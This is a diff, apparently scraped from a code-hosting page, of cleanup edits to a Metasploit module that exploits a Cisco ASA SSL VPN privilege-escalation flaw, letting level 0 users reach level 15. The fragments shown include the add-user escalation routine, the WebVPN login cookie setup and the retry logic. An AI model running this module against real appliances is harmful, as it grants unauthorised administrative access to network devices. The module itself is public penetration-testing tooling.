6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
- Rank = ExcellentRanking
10
-
11
9
include Msf ::Exploit ::Remote ::HttpClient
12
10
include Msf ::Auxiliary ::Report
13
11
include Msf ::Auxiliary ::Scanner
@@ -18,8 +16,8 @@ def initialize(info = {})
18
16
super ( update_info ( info ,
19
17
'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability' ,
20
18
'Description' => %q{
21
- This module exploits a privilege escalation vulnerability for Cisco
22
- ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
19
+ This module exploits a privilege escalation vulnerability for Cisco
20
+ ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
23
21
level 15.
24
22
} ,
25
23
'Author' =>
@@ -34,7 +32,7 @@ def initialize(info = {})
34
32
[ 'URL' , 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ] ,
35
33
[ 'URL' , 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
36
34
] ,
37
- 'DisclosureDate' => "April 9, 2014" ,
35
+ 'DisclosureDate' => "Apr 9 2014" ,
38
36
39
37
) )
40
38
@@ -126,7 +124,7 @@ def do_show_version(cookie, tries = 3)
126
124
resp . body . include? ( 'Cisco Adaptive Security Appliance Software Version' )
127
125
return resp . body
128
126
else
129
- vprint_error "#{ peer } - Unable to run '#{ command } '"
127
+ vprint_error "#{ peer } - Unable to run '#{ command } '"
130
128
print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
131
129
end
132
130
end
@@ -146,7 +144,7 @@ def add_user(cookie, tries = 3)
146
144
if resp &&
147
145
!resp . body . include? ( 'Command authorization failed' ) &&
148
146
!resp . body . include? ( 'Command failed' )
149
- print_good "#{ peer } - Privilege Escalation Appeared Successful"
147
+ print_good "#{ peer } - Privilege Escalation Appeared Successful"
150
148
return [ username , password ]
151
149
else
152
150
vprint_error "#{ peer } - Unable to run '#{ command } '"
@@ -171,10 +169,10 @@ def random_username(length = 8)
171
169
172
170
def do_login ( user , pass , group )
173
171
begin
174
- cookie = "webvpn=; " +
175
- "webvpnc=; " +
176
- "webvpn_portal=; " +
177
- "webvpnSharePoint=; " +
172
+ cookie = "webvpn=; " +
173
+ "webvpnc=; " +
174
+ "webvpn_portal=; " +
175
+ "webvpnSharePoint=; " +
178
176
"webvpnlogin=1; " +
179
177
"webvpnLang=en;"
180
178
@@ -218,9 +216,9 @@ def run_host(ip)
218
216
unless validate_cisco_ssl_vpn ( )
219
217
vprint_error "#{ peer } - Does not appear to be Cisco SSL VPN"
220
218
:abort
221
- end
219
+ end
222
220
223
- # This is crude, but I've found this to be somewhat
221
+ # This is crude, but I've found this to be somewhat
224
222
# interimittent based on session, so we'll just retry
225
223
# 'X' times.
226
224
datastore [ 'RETRIES' ] . times do |i |
0 commit comments